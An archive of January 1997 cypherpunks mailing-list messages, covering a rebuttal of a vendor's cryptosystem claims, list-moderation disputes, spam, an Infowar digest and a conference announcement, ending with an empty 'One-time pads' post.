> Homepage:www.geocities.com/~pentiumru/icehtml.htm
> We Are THE BEST!!
> So Check us OUT!
who are these dorks? they're either wannabes or feds... I think they're
morons regardless... ...cheesiest page in history awaits!


crunch




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Sun, 12 Jan 1997 01:11:32 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
Message-ID: <19970112091106.18965.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain


Ok. I admit it. It is beneath me, but how could I resist such temptation?


> Hi,
> 
[..]
> cryptosystem method. The future versions will also support multi-party key
> integration features, four platform independent random number generator
			^^^^^^^^^^^^^^^^^^^^^^^^^(1)

> algorithms, as well as 1024 (8192 bit) keys. Note that the current version of
                         ^^^^^^^^^^^^^^^(2)
> IMDMP only allows 256 byte (1024) bit keys. The current shareware version and
                    ^^^^^^^^^^^^^^^^^^^(3)
> the future shareware version of UDCM will still only allow 5 byte (40 bit)
                                                             ^^^^^^^^^^^^^^(4)
> keys so as to comply with ITAR unless a key recovery infrastructure is
                ^^^^^^^^^^^^^^^(5)
[..]
> partially detailed summary of the IMDMP is now included in VENDOR.DOC file of
> the UDCM V2.0 software package / archive. UDCM V2.0 was modified to restrict
> keys to 50 bits so as to comply with the latest ITAR details. The extensively
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^(6)
> confusing exportation restrictions sections of UDCM's documentation were
> modified as well.
> 
> methods are not too comparable to PKCS methods. What I was referring to when
> I said IMDMP is more advanced than RSA, etc. is the actual encryption
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^(7)
> procedure itself, not the way keys are secured. Again, irrashional claims
                                                         ^^^^^^^^^^^(8)
[..]
> AND-ing algorithm without trying it first. I find it extremely hard to
> believe that the celebrated creator(s) of Blowfish, IDEA, etc. had to go
> through all of this ritualistic screening complexity too. (Please do correct
> me if I am wrong.)
^^^^^^^^^^^^^^^^^^^^(9)

> 
> (For the record: DataET Research's promotional agent has been fired.)
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^(10)
> Thank you very much for your time.
> 
> Jeremy K. Yu-Ramos
> President
> DataET Research
> Data Engineering Technologies
> 

Eww.

(1)     Not possible, you need real-world entropy. Sadly, there is
	yet there is no platform independent way to efficiently
	collect it.

(2)     For symmetric ciphers, keylengths over 128 bits do not gain
	you anything - unless the cipher is poorly written and does
	not use all of its keyspace or leaks bits of the keyspace
	into the ciphertext. 2^128 is such an immense number that
	short of a fundamental change in complexity theory, exhaustive
	keysearching a 2^128 keyspace will never be a possible
	attack scenario, regardless of increases in computation
	speed.

(3)	"256 byte (1024) bit keys". Hmm. 256 x 8 = 2048

(4)	"5 byte (40 bit) keys". 5 x 8 = 40 and

(5)	Says (4) is to comply with ITAR. But...

(6)	"50 bits so as to comply with the latest ITAR details."

(7)	Find the oxymoron.

(8)	You're wrong.

(9)	That "irrashional" spelling, at it again.

(10)	Then why is he still writing?

-J




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geo2@usa.net
Date: Sun, 12 Jan 1997 21:40:05 -0800 (PST)
To: geo2@usa.net
Subject: Checking debit
Message-ID: <199701130446.UAA13794@ns2.accesscom.com>
MIME-Version: 1.0
Content-Type: text/plain


DEBIT YOUR CUSTOMERS' CHECKING ACCOUNTS ... COLLECT CHECK PAYMENTS FROM YOUR
WEB PAGE, OVER THE PHONE, OR AS AN AUTOMATIC MONTHLY DEBIT!

Close sales at your Web site, close telephone sales immediately, ship
merchandise immediately(!) ...by drafting the customer's checking account.  

No more waiting in vain for "checks in the mail."  This service increases
your cash flow, and reduces the cost of billing, mailing, bookkeeping, and
collections associated with your customers who pay by check...for far less
than the cost of accepting credit cards! 

For more information about this new service, please click "reply" to respond
to me at geo2@usa.net.

Best wishes,

-George





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 12 Jan 1997 20:18:47 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Igor asks what these examples prove...
In-Reply-To: <4P2F1D1w165w@bwalk.dm.com>
Message-ID: <199701130415.WAA11189@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Quite honestly, I was grossly pissed off with Smirnov's post
as well. It was not the smartest post of his.

But you are not banned from posting, and do post (which is
nice actually).

I do apologize for this yesterday's message in scrm.

	- Igor.

Dr.Dimitri Vulis KOTM wrote:
> 
> Here's another article from s.c.r.m where one of the moderators
> verbally abuses a person banned from posting in that forum (myself :-).
> The gratuitous abuse is totally off-topic and has no connection to the
> flame thread it's in.
> 
> That's what the lying cocksucker John Gilmore wants to be able to do
> on his private mailing list - to post more lies which the victims of
> his libel will not be allowed to refute.
> 
> ]X-SCRM-Policy: http://www.algebra.com/~ichudov/usenet/scrm/index.html
> ]X-SCRM-Info-1: Send submissions to             scrm@algebra.com
> ]X-SCRM-Info-2: Send technical complaints to    scrm-admin@algebra.com
> ]X-SCRM-Info-3: Send complaints about policy to scrm-board@algebra.com
> ]X-Comment: moderators do not necessarily agree or disagree with this article.
> ]X-Robomod-Version: STUMP 1.1, by ichudov@algebra.com (Igor Chudov)
> ]Date: Sun, 12 Jan 1997 05:27:03 CST
> ]From: vladimir@chinook.physics.utoronto.ca (Vladimir Smirnov)
> ]Message-ID: <199701121028.FAA06007@chinook.physics.utoronto.ca>
> ]Subject: Re: Russian diplomats are pigs
> ]Newsgroups: soc.culture.russian.moderated
> ]X-Auth: PGPMoose V1.1 PGP soc.culture.russian.moderated
> ]
> ]rqk10@oes.amdahl.com (Roman Kostin) wrote:
> ]>   Po suschestvu, govorish'? Ya sejchas tebe skazhu po suschestvu.
> ]>
> ]>   Tvoj kommentarij byl tsinichen, tup i beschelovechen. I kogda
> ]>   tebe na eto ukazyvayut, tebe sleduet izvinit'sya i zatknut'sya,
> ]>   a ne ogryzat'sya kak shavka.
> ]
> ]   Narod, ja vas ubeditel'no proshu ne ustraivat' gryznju v
> ]moderiruemoj newsgruppe. Kommentarij u Sashi, konechno, byl
> ]tak sebe, no sobak na nego naveshali po polnoj programme,
> ]kak budto on dejstvitel'no uzh chego-to takoe skazal.
> ]Idi von (eto Kostinu) Dr. D.V.Ulissa popinaj, esli principial'nost'
> ]v golovu udarila. Ili stremno?
> ]
> ]- Smirnov
> ]
> ]
> ]
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 12 Jan 1997 20:23:00 -0800 (PST)
To: paul.elliott@hrnowl.lonestar.org (Paul Elliott)
Subject: Re: STUMP
In-Reply-To: <32d96d3c.flight@flight.hrnowl.lonestar.org>
Message-ID: <199701130416.WAA11229@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Paul Elliott wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Not too long ago, I attempted to post a PGP signed
> message to a STUMP moderated newsgroup. Even though
> the moderators approved my post, it never arrived
> because of sme technical problem with PGP and STUMP.
> The people running the newsgroup never could figure
> out what went wrong, and my post never made it
> in spite of the best efforts of those running the newsgroup.
> 
> I advise caution with STUMP.

The moderators most likely did not set one of the options correctly
(STUMP_PARANOID_PGP should be set to NO for all newsgroups with 
crypto-ignorant readership).

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Betty G. O'Hearn" <betty@infowar.com>
Date: Sun, 12 Jan 1997 19:32:51 -0800 (PST)
To: infowar@infowar.com
Subject: Infowar Digest Volume 02: Number 01
Message-ID: <1.5.4.32.19970113031836.00b12914@mail.infowar.com>
MIME-Version: 1.0
Content-Type: text/plain


                               We thank our sponsors:

Internet Security Solutions
New Dimensions International - Security Training
HOMECOM Communications
National Computer Security Association
OPEN SOURCE SOLUTIONS, Inc.
__________________________________________________
Infowar@infowar.com is brought to you in the  the interest of an open, unclassified exchange of information and ideas as a means for advancement of Information Warfare related issues.   Topics of discussion for this list include:  Infowar, Electronic Civil Defense, Hacking, Defensive Techniques, Policy, Non-Lethals, Psyops, Chemical Warfare Agents and WMD. 

As the list expands we will adapt to the needs and desires of our subscribers. 

This is a MODERATED DIGEST format.
__________________________________________________________
Infowar                  Sunday, January 12, 1997        Volume 02: Number 01

RE:  Call for Anecdotes
RE:  The Media and Information Warfare
RE:  British PsyOps
RE:  Futuristic Battlefield
RE:  IWAR Journal
RE:  Discussion Forums Open
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To: infowar@infowar.com
From: Jules Siegel <jsiegel@mail.caribe.net.mx>
Subject: Call for anecdotes
Date: Fri, 5 Jan 1996 17:17:32 -0600

CALL FOR ANECDOTES

I need your help. I'm a writer. My work has appeared in Playboy, Esquire,
Rolling Stone, Best American Short Stories. You can examine my credentials
at http://www.caribe.net.mx/siegel/jsiegel.htm

I am currently researching the following article for American Reporter:

The End of Privacy

When the chief operating officer of a major telephone company can't keep his
unlisted telephone number secret, you know the battle for personal privacy
is pretty much lost. New York magazine found the address of reclusive
novelist Thomas Pynchon through an on-line credit-card checking service in
two minutes. Encrypting messages attracts attention and no secret remains
secret very long when hackers with the skills of con men trick the
unsuspecting into revealing passwords. So what would a world without privacy
be like? Maybe it's not all 1984 -- honesty could be another by-product.

I wonder if anyone might want to share:

[1] Any unusually biting anecdotes that would fit the theme above?

[2] Other sources of similar information?

[3] Quotable opinions?

I'm basically interested in personal opinions and experiences. Example: I
received a reply from a writer who had been the subject of a searching
expose and came out of it feeling liberated of her secrets.

I think that as a practical matter privacy no longer exists, if it ever did.
I think it's an illusion created by industrialism. Only hermits had privacy
in the past. As we pass into the next phase of social evolution, I believe
that our constructs will resemble animism -- that is they will be living or
life-like, soft rather than hard, transparent rather than opaque.

Today, the cost of maintaining secrets is beginning to outweigh the value.
Yet we're still addicted to this illusion. What would a genuinely
transparent world be like to those used to living behind masks?

I'm also interested in comments on the following:

[4] Electronic surveillance 

In last November's PC Computing, John Dvorak claimed that government
intelligence agencies had set up remail services in order to check on people
using them. In a private letter I received, a very sane but prudent
journalist working for a mainstream newspaper cited fears of e-mail being
read by intelligence agencies as a reason for not telling me something he
had on his mind.

Questions: What do we know about this sort of thing? What do are we doing
about it?

[5] Spying in the newsroom

Earlier this year, The Miami Herald's Jim Hampton came out strongly against
the CIA using reporters as spies in foreign country. What about in the
United States? I have received information on more than one occasion about
journalists on the payroll of intelligence and/or police agencies spying on
their colleagues, as well as making trouble for specific targets, and
helping squelch certain themes, among other activities.

Question: Do publications tolerate this? Cooperate fully? If not, how do
they handle these cases when they become aware of them?

[6] Blacklisting

The existence of black lists was very well documented in the wake of the
McCarthy era. I'm sure we have good reason to believe that they still exist.

Questions: Do electronic editorial black lists exist? Other fields? How do
they work? How does a victim get off a black list?

All replies will be fully attributed and I will send a checking copy of the
final draft to anyone whose anecdote I use.

Many thanks for your interest and cooperation.

Jules Siegel http://www.caribe.net.mx/siegel/jsiegel.htm
>From USA: http://www.yucatanweb.com/siegel/jsiegel.htm
Mail: Apdo. 1764 Cancun QR 77501 Mexico
Tel: 011-52-98 87-49-18 Fax 87-49-13 E-mail: jsiegel@mail.caribe.net.mx
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To: Infowar@infowar.com
From: Daigle166@aol.com 
Subject: The Media and Information Warfare
Date: Tue, 26 Nov 1996 22:14:59 +0000
Message-Id: <22145965403068@infowar.com>

Hi,
     I am currently working on a thesis paper concerned with the subject of
information warfare as it relates to the media.  Specifically, my research
question is:

"Is it morally and ethically acceptable for military commanders and staff
members to purposely mislead the media for the purpose of tactical deception
and information warfare against one's enemies?"

I will obviously be taking a look at both sides of this issue and would
appreciate any information you may have on the subject.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~      To: "Winn Schwartau" <winn@infowar.com>
Cc:  Infowar@infowar.com
Date: Tue, 7 Jan 1997 07:53:57 +0000
From: Maobrien95@aol.com

I'm looking for books that would detail British PsychOps, especially its 
use in Northern Ireland. Thank you very much for your time.My e-mail:
Maobrien95@aol.com      Respectfully, Frank O'Brien
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To: "Betty G. O'Hearn" <betty@infowar.com>
From: "Michael H. Sedge" <pp10013@cybernet.it>
Subject: Futuristic Battlefields
Date: Sat, 28 Dec 1996 12:56:54 +0100

Dear Betty,

Thanks in part to the input you provided and the quotes obtained through
your resources, I was able to produce a feature on Cyber Warfare that will appear in the February issue of ARMED FORCES JOURNAL INTERNATIONAL, and perhaps other publications around the world.

I am now working on a story which takes a look at the FUTURISTIC
BATTLEFIELD and seek experts for quotes, insight, products, etc. Such things as robotic soldiers and unmanned aircraft will be discussed, as well as warfare controlled from romote sites.

Any help, leads, manufacturers, etc., that you could provide would be
helpful.

Best regards & Happy New Year.

Sincerely,

Michael H. Sedge
ARMED FORCES JOURNAL INTERNATIONAL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Date: Sun, 12 Jan 1997 21:29:26 -0500
To: infowar@infowar.com
From: "Betty G. O'Hearn" <betty@infowar.com>
Subject: IWAR Journal.

The Journal of IWAR Intelligence Acquisition - is now being made available at
http://www.iwar.org/.

This journal is published by William Church, a distinquished journalist in the field. Current Issue: Spring 1997: Information Warfare Threat Model.
           Articles by Michael Wilson, Robert Steele, Philip H.J. Davies, Special
           Report on the IPTF, and an interview with Winn Schwartau. 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 To: Infowar@infowar.com
From: "Betty G. O'Hearn" <betty@infowar.com>
Subject: Discussion Forums Open

On Monday, January 13, 1997 WWW.InfoWar.Com will begin hosting a series of 
discussion forums, available to anyone on the Internet. Everyone who logs onto 
the forums will also be provided with a mini-home-page (for free!) so other 
participants may get to know with whom they are interacting.

The discussion forums may be accessed from the Infowar.Com Home Page by clicking on the "Digest, Discussion & Chat Groups" icon.  

The forum moderators will be:

Moderator                                                 Topic           

Winn Schwartau			Information Warfare and 
President, Interpact, Inc.	                Electronic Civil Defense

Carolyn Meinel                                          Hackers/Hacking
Publisher of Happy Hacker Digest

Matthew Devost                                        Terrorism
Systems Engineer, SAIC

William Church                                         IWAR
Publisher of The Journal of IWAR Intelligence Acquisition 

Scott Brower                                             EBR  Electronic Bill of Rights/Privacy
Executive Director, Electronic  Frontiers Florida

Robert Steele                                            OSSINT        
President OPEN SOURCE SOLUTIONS, Inc.

Unmoderated                     Viruses

Unmoderated                     Infosec

We welcome this distinguished group of moderators and encourage you to 
participate in these forums. Sign in and start posting!  

Have an idea for a new discussion forum?  Want to be a moderator?  Contact 
betty@infowar.com.

_______________________________:)

InfoWar.Com will also be introducing several hundred  "chat" lines in the coming 
weeks. 

Keep contributing..... keep up your input.  We are introducing these new 
modules that you have requested.  

Thanks for all of your invaluable support.

Winn Schwartau and the incomparable staff at 
www.infowar.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
END  Infowar Volume 2 No. 1  January 12, 1997
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
DIRECT REQUESTS to:    list@infowar.com with one-line in the BODY, NOT
in the subject line.

Subscribe infowar        TO JOIN GROUP
Unsubscribe infowar    TO LEAVE GROUP
Help infowar               TO RECEIVE HELP 
TO POST A MESSAGE:  E-Mail to   infowar@infowar.com  
_____________________________________________________
Infowar.Com
Interpact, Inc.
Winn Schwartau
winn@infowar.com
http://www.infowar.com
813-393-6600  Voice
813-393-6361  FAX

Sponsor Opportunities/Comments/Help

Betty G. O'Hearn
Assistant to Winn Schwartau
http://www.infowar.com
betty@infowar.com
813-367-7277  Voice
813-363-7277  FAX





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pass me another!" <spanky@europa.com>
Date: Sun, 12 Jan 1997 22:23:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA over Rubics cube?
In-Reply-To: <199701111858.KAA09264@miron.vip.best.com>
Message-ID: <32D9D750.7053@europa.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks@toad.com wrote:
> 
> Just for fun, not that I am sugesting it as a serious encryption
> method, but has anyone tried exponetion cyphers on the group
> defined by the Rubics cube? :)

well....I guess you didn't want a reply to your real email address,
considering you'd be flamed like a 'mother$##@*(%'.  anyways....Just so
YOU know I figured out the infamous Rubik's cube when I was 9 years
old...no solution book, nothing, and beat the world record(ooooo what an
accomplishment).  I just figured it out...so if I was 9.........geee 
what do you think?  I could sit down and give you the mathmatical<sp>
computations...but I have better things to do.  I hope your just trying
to have a better understanding of cryptography standards, and future
methods.  Maybe reading some information on algorithms....that might
help....maybe calc 101  or ignorant 111..or jeez...do you even know
binary?

-spanky




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 12 Jan 1997 22:41:46 -0800 (PST)
To: gbroiles@netbox.com (Greg Broiles)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970111003625.0069d61c@mail.io.com>
Message-ID: <v03007807aeff873e6d22@[199.35.223.198]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:10 AM -0800 1/11/97, Igor Chudov @ home wrote:
>We should all understand that forgeries in the names of preapproved
>people are only a SYMPTOM of a problem, not a problem in and of itself.
>The true problem in such case would be that the forgers feel that they
>are treated unfairly by moderators. Such people may think that the
>purpose of moderation is to get rid of their persons altogether.
>
>Therefore, if moderators face a problem of forgeries and perceive a need
>to turn this authentication option on, they should step back and this
>what THEY did wrong. Did they give the forgers an impression that
>moderators want to silence them? Do they treat everyone, including the
>former "problem" people, fairly and equally?

Igor, I must disagree with you in detail.  I believe that some of the
problem this list is experiencing is because one or more people wish to
destroy it.  They are attempting to fill this list with so much junk that
all the people who read it will go elsewhere.  In the recent past, they
have subscribed it to other high-volume mailing lists, and given its
address to direct marketers as a "person" interested in sales pitches.
Perhaps these people already feel they are being treated unfairly by the
management of the unmoderated list.

These people will be perfectly happy to forge the names of preapproved
posters to further their attack.  While I suggest that, if we have
preapproved posters, we should try it first without digital signatures, I
predict that forgeries will be used to get around this policy.

I note in passing that at least one person has threatened to, "KILL
cypherpunks !!!".


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Elliott <paul.elliott@hrnowl.lonestar.org>
Date: Sun, 12 Jan 1997 17:31:46 -0800 (PST)
To: cypherpunks@toad.com (cypherpunks mailing list)
Subject: STUMP
Message-ID: <32d96d3c.flight@flight.hrnowl.lonestar.org>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Not too long ago, I attempted to post a PGP signed
message to a STUMP moderated newsgroup. Even though
the moderators approved my post, it never arrived
because of sme technical problem with PGP and STUMP.
The people running the newsgroup never could figure
out what went wrong, and my post never made it
in spite of the best efforts of those running the newsgroup.

I advise caution with STUMP.
- -- 
Paul Elliott                                  Telephone: 1-713-781-4543
Paul.Elliott@hrnowl.lonestar.org              Address:   3987 South Gessner #224
                                              Houston Texas 77063

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: cp850

iQCVAgUBMtltLvBUQYbUhJh5AQGHiQP9GBOikHp+trnA6C8v9xjJA/zadXlY8sde
B48dOdMX47pougoYeUyTOcDRRJ3y/2FWnTfjNbiT/oFXm8R+vLtFEhD8baULjUfd
eqv+rvOrkNLajI61Io4Jfc8cOc0Yyhc7A5tZHvxuKbEK0Hv9F7tOehksrFjhHdGQ
VwmgcqGa6RM=
=22bZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Betty G. O'Hearn" <betty@infowar.com>
Date: Sun, 12 Jan 1997 20:04:38 -0800 (PST)
To: infowar@infowar.com
Subject: InfoWarCon6 - Brussels, Belgium
Message-ID: <1.5.4.32.19970113041116.00b22ca4@mail.infowar.com>
MIME-Version: 1.0
Content-Type: text/plain



                                D I S T R I B U T E  W I D E L Y 

                               CONFERENCE ANNOUNCEMENT

InfoWarCon 6:
"War By Other Means"
Economic Espionage, CyberTerrorism and Information Assurance
Brussels, Belgium

May 8 - 9, 1997
Pre-Conference Tutorials: May 7, 1996

Sponsored by:
National Computer Security Association /  www.ncsa.com
Winn Schwartau, Interpact, Inc. /  www.infowar.com
Open Source Solutions, Inc, / www.oss.net

Honorary Chairperson:
Judge Danielle Cailloux
Investigating Magistrate,
Member of the Committee to Control the Intelligence Services, Belgium

Information Warfare is no longer just for the military or government. InfoWar is a legitimate concern for the private sector and law enforcement - everywhere. Hundreds of representatives from over thirty countries will interact at
InfoWarCon 6 with world-class presenters in an open-source, unclassified forum to provide workable, real-world solutions to the commercial, legal and technical problems we face.

Over two days, the three tracks and plenary sessions will focus on:

1. Military, Intelligence, Nation-States and Government Contractors. What are their special needs and concerns. Leaders from all areas will bring you current with their
approaches.

2. Cyberterrorism and Crime: Law Enforcement, Domestic, National and International. Case histories and experience from those who know will provide the foundation for solutions and cooperation to a spreading problem.

3. The Private Sector and Commercial Infrastructure: Leading experts on information assurance will provide new models for security, management and infrastructure
protection.


Optional Pre-Conference Tutorials (May 7)
>
Three Pre-Conference tutorials will be offered to get the non-technical manager, law enforcement or government representative 'up to speed' on InfoWar:
>
>A. Open Source Intelligence. Robert Steele, ex-CIA case officer and intelligence professional, will teach you how and why the smart nation and competitive private company needs to use information gathering to his best advantage.
A full day of extraordinary information and materials.
>
B. Information Security Basics. Dr. Mich Kabay, NCSA's Dir. of Education will take the non-technical manager on a three and one half hour tour of the fundamentals of 
information security. Essential knowledge for anyone involved with information warfare, cyberterrorism or defending against them.

C. The Basics of Information Warfare and Cyberterrorism.Winn Schwartau, the man who wrote the books on Cyber-terrorism and Information Warfare, will teach the
>non-technical participant the ins and outs in a fascinating 3 1/2 hour session.


>For Registration Information
>     Kim Imler
>     Voice:	(717) 241-3226
>     Fax:	(717) 243-8642
>     Email:	kimler@ncsa.com
>     WWW:	www.Infowar.com
>		www.ncsa.com
>
>Sponsorship Opportunities - Multiple level sponsorship
>opportunities and exhibit space is available.  Contact:
>     Harry Brittain
>     Voice:	(717) 241-3258
>     Fax:		(717) 243-8642
>     Email:	hbrittain@ncsa.com
>
>MARK YOUR CALENDARS:
>
>InfoWarCon 7,
>Sept. 11-12, 1997
>Washington D.C.
>Submit Abstracts and Papers to:
>Betty@infowar.com

DIRECT REQUESTS to:    list@infowar.com with one-line in the BODY, NOT
in the subject line.

Subscribe infowar        TO JOIN GROUP
Unsubscribe infowar    TO LEAVE GROUP
Help infowar               TO RECEIVE HELP 
TO POST A MESSAGE:  E-Mail to   infowar@infowar.com  
_____________________________________________________
Infowar.Com
Interpact, Inc.
Winn Schwartau
winn@infowar.com
http://www.infowar.com
813-393-6600  Voice
813-393-6361  FAX

Sponsor Opportunities/Comments/Help

Betty G. O'Hearn
Assistant to Winn Schwartau
http://www.infowar.com
betty@infowar.com
813-367-7277  Voice
813-363-7277  FAX

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Betty G. O'Hearn	Assistant to Winn Schwartau
	http://www.infowar.com
	betty@infowar.com
813-367-7277  Voice   813-363-7277   Data/FAX

"Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome while trying to succeed.  ~~~Booker T. Washington~~~


 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Sun, 12 Jan 1997 21:55:10 -0800 (PST)
Subject: sad
Message-ID: <01BC00E3.C880ED40@s04-pm06.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


I am sad that all the spam from companies will be gone soon.  I enjoy 
thinking that perhaps 10% (or ~120) of the Cypherpunks along with me hit 
the reply button and type "remove" giving them a great return for their 
investment (pun intended :).


----------
From: 	PS[SMTP:pstone@lightspeed.bc.ca]
Sent: 	Sunday, January 12, 1997 02.59 PM
To: 	pstone@lightspeed.bc.ca
Subject: 	Saw your post

Hi there!  I saw your post the other day and thought
you might be interested in a decent offer on
some excellent information.



Start an excellent home business today!!!

For a brochure that outlines

THE TEN BEST OPPORTUNITES IN BUSINESS TODAY

send me a self-addressed, stamped envelope.


Mail to  :

M.K. Press
1310 W.67th Ave.
Vancouver. B.C. Canada
V6P 2T4
Please write "Offer # 4322" by hand on the envelope to me.




Never want to hear from me again? Simple.
Hit reply, put <REMOVE> in the Subject field,
and send it on back.. Thanks.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pass me another!" <spanky@europa.com>
Date: Mon, 13 Jan 1997 00:00:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: BoS:  InfoWarCon6 - Brussels, Belgium
In-Reply-To: <1.5.4.32.19970113041116.00b22ca4@mail.infowar.com>
Message-ID: <32D9EE1D.6450@europa.com>
MIME-Version: 1.0
Content-Type: text/plain


Betty G. O'Hearn wrote:
> 
>                                 D I S T R I B U T E  W I D E L Y
> 
>                                CONFERENCE ANNOUNCEMENT
> 
> InfoWarCon 6:
> "War By Other Means"
> Economic Espionage, CyberTerrorism and Information Assurance
> Brussels, Belgium
> 
> May 8 - 9, 1997
> Pre-Conference Tutorials: May 7, 1996
> 
> Sponsored by:
> National Computer Security Association /  www.ncsa.com
> Winn Schwartau, Interpact, Inc. /  www.infowar.com
> Open Source Solutions, Inc, / www.oss.net
> 
> Honorary Chairperson:
> Judge Danielle Cailloux
> Investigating Magistrate,
> Member of the Committee to Control the Intelligence Services, Belgium
> 
> Information Warfare is no longer just for the military or government. InfoWar is a legitimate concern for the private sector and law enforcement - everywhere. Hundreds of representatives from over thirty countries will interact at
> InfoWarCon 6 with world-class presenters in an open-source, unclassified forum to provide workable, real-world solutions to the commercial, legal and technical problems we face.
> 
> Over two days, the three tracks and plenary sessions will focus on:
> 
> 1. Military, Intelligence, Nation-States and Government Contractors. What are their special needs and concerns. Leaders from all areas will bring you current with their
> approaches.
> 
> 2. Cyberterrorism and Crime: Law Enforcement, Domestic, National and International. Case histories and experience from those who know will provide the foundation for solutions and cooperation to a spreading problem.
> 
> 3. The Private Sector and Commercial Infrastructure: Leading experts on information assurance will provide new models for security, management and infrastructure
> protection.
> 
> Optional Pre-Conference Tutorials (May 7)
> >
> Three Pre-Conference tutorials will be offered to get the non-technical manager, law enforcement or government representative 'up to speed' on InfoWar:
> >
> >A. Open Source Intelligence. Robert Steele, ex-CIA case officer and intelligence professional, will teach you how and why the smart nation and competitive private company needs to use information gathering to his best advantage.
> A full day of extraordinary information and materials.
> >
> B. Information Security Basics. Dr. Mich Kabay, NCSA's Dir. of Education will take the non-technical manager on a three and one half hour tour of the fundamentals of
> information security. Essential knowledge for anyone involved with information warfare, cyberterrorism or defending against them.
> 
> C. The Basics of Information Warfare and Cyberterrorism.Winn Schwartau, the man who wrote the books on Cyber-terrorism and Information Warfare, will teach the
> >non-technical participant the ins and outs in a fascinating 3 1/2 hour session.
> 
> >For Registration Information
> >     Kim Imler
> >     Voice:    (717) 241-3226
> >     Fax:      (717) 243-8642
> >     Email:    kimler@ncsa.com
> >     WWW:      www.Infowar.com
> >               www.ncsa.com
> >
> >Sponsorship Opportunities - Multiple level sponsorship
> >opportunities and exhibit space is available.  Contact:
> >     Harry Brittain
> >     Voice:    (717) 241-3258
> >     Fax:              (717) 243-8642
> >     Email:    hbrittain@ncsa.com
> >
> >MARK YOUR CALENDARS:
> >
> >InfoWarCon 7,
> >Sept. 11-12, 1997
> >Washington D.C.
> >Submit Abstracts and Papers to:
> >Betty@infowar.com
> 
> DIRECT REQUESTS to:    list@infowar.com with one-line in the BODY, NOT
> in the subject line.
> 
> Subscribe infowar        TO JOIN GROUP
> Unsubscribe infowar    TO LEAVE GROUP
> Help infowar               TO RECEIVE HELP
> TO POST A MESSAGE:  E-Mail to   infowar@infowar.com
> _____________________________________________________
> Infowar.Com
> Interpact, Inc.
> Winn Schwartau
> winn@infowar.com
> http://www.infowar.com
> 813-393-6600  Voice
> 813-393-6361  FAX
> 
> Sponsor Opportunities/Comments/Help
> 
> Betty G. O'Hearn
> Assistant to Winn Schwartau
> http://www.infowar.com
> betty@infowar.com
> 813-367-7277  Voice
> 813-363-7277  FAX
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> Betty G. O'Hearn        Assistant to Winn Schwartau
>         http://www.infowar.com
>         betty@infowar.com
> 813-367-7277  Voice   813-363-7277   Data/FAX
> 
> "Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome while trying to succeed.  ~~~Booker T. Washington~~~
> 
> 


Freedomistsssss....beware.  Get involved.

Or we lose!

-spanky




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Sun, 12 Jan 1997 16:36:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: One-time pads
Message-ID: <199701130035.BAA29808@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


